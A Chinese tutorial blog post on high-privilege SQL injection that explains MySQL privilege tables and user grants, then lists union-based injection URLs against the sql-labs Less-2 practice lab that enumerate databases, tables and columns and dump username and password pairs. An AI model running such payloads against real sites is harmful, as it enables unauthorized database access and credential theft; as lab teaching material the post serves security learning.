SQL注入之高权限注入(三)

SQL注入之高权限注入(三)

在数据库中区分数据库系统用户和数据库普通用户

MySQL中存在控制权限的表,分别为user,db,tables_priv,columns.priv表

User表:

存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限

Db表:

存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库

Tables_priv表:

存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表

Columns_priv表:

存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段

Procs_priv表:

存放存储过程和函数级别的权限

查看MySQL有哪些用户

复制代码
select user,host from mysql.user;

查看用户对应权限

复制代码
select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有

创建用户

复制代码
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
create user 'test1'@'localhost' identified by '123456';
identified by '123456';设置密码

把普通用户变成管理员

复制代码
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION; 

删除用户

复制代码
drop user finley@'localhost';

只提供id查询权限

复制代码
grant select(id) on test.temp to test1@'localhost' identified by '123456'; 
grant select(id) on test.users to test1@'localhost' identified by '123456' 

在 MySQL 数据库中为用户 'test1'@'localhost' 授予对表 temp 中 id 列的 SELECT 权限, 同时为用户设置密码 '123456'

select * from users; 会报错

select id from users;不会报错

当前用户必须是root,高权限,不然不能跨库查询

复制代码
查看当前服务器网络的所有数据库: schema_name,schemata
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata 
查看数据库test中,有哪些表,
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'
查看表中的字段名
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users';
查看数据
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,'~',password) from users

http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(name,'~',pass) from test.users
相关推荐
YangYang9YangYan1 小时前
2027供应链计划校招:数学与应用数学专业如何把预测模型讲成业务决策?
人工智能·sql·算法
lambo mercy1 小时前
Day3:结构化输出
java·数据库·oracle
派小心.1 小时前
小程序分享链路中来源参数的传递校验
大数据·前端·数据库·人工智能·小程序·数据分析
Είναι η κοπέλα1 小时前
向量数据库与嵌入模型:Chroma/FAISS/Milvus 选型
数据库·milvus·faiss
IvorySQL2 小时前
从轮询到等待——PostgreSQL WAIT FOR LSN 特性深度解析
数据库·postgresql
OceanBase数据库官方博客3 小时前
被 VLDB 2027接收OceanBase 最新论文让数据库基(技术解析与实践)
数据库·人工智能·oceanbase
171320330计算机毕设编程3 小时前
计算机毕业设计 基于YOLO改进算法的车辆特征识别系统设计与实现--lw
java·大数据·python·sql·算法
创邻科技3 小时前
国产图数据库刷新 LDBC 世界纪录:创邻科技 Galaxybase 在 SF100、SF300、SF1000 测试中全面领先”
数据库·科技
GreatSQL社区3 小时前
主从复制SQL线程中断——字符集砸出的坑
java·数据库·算法
XLYcmy4 小时前
AI 赋能后中文与英文数据库对比分析报告 上
数据库·ai·llm·prompt·检索·wos·cnki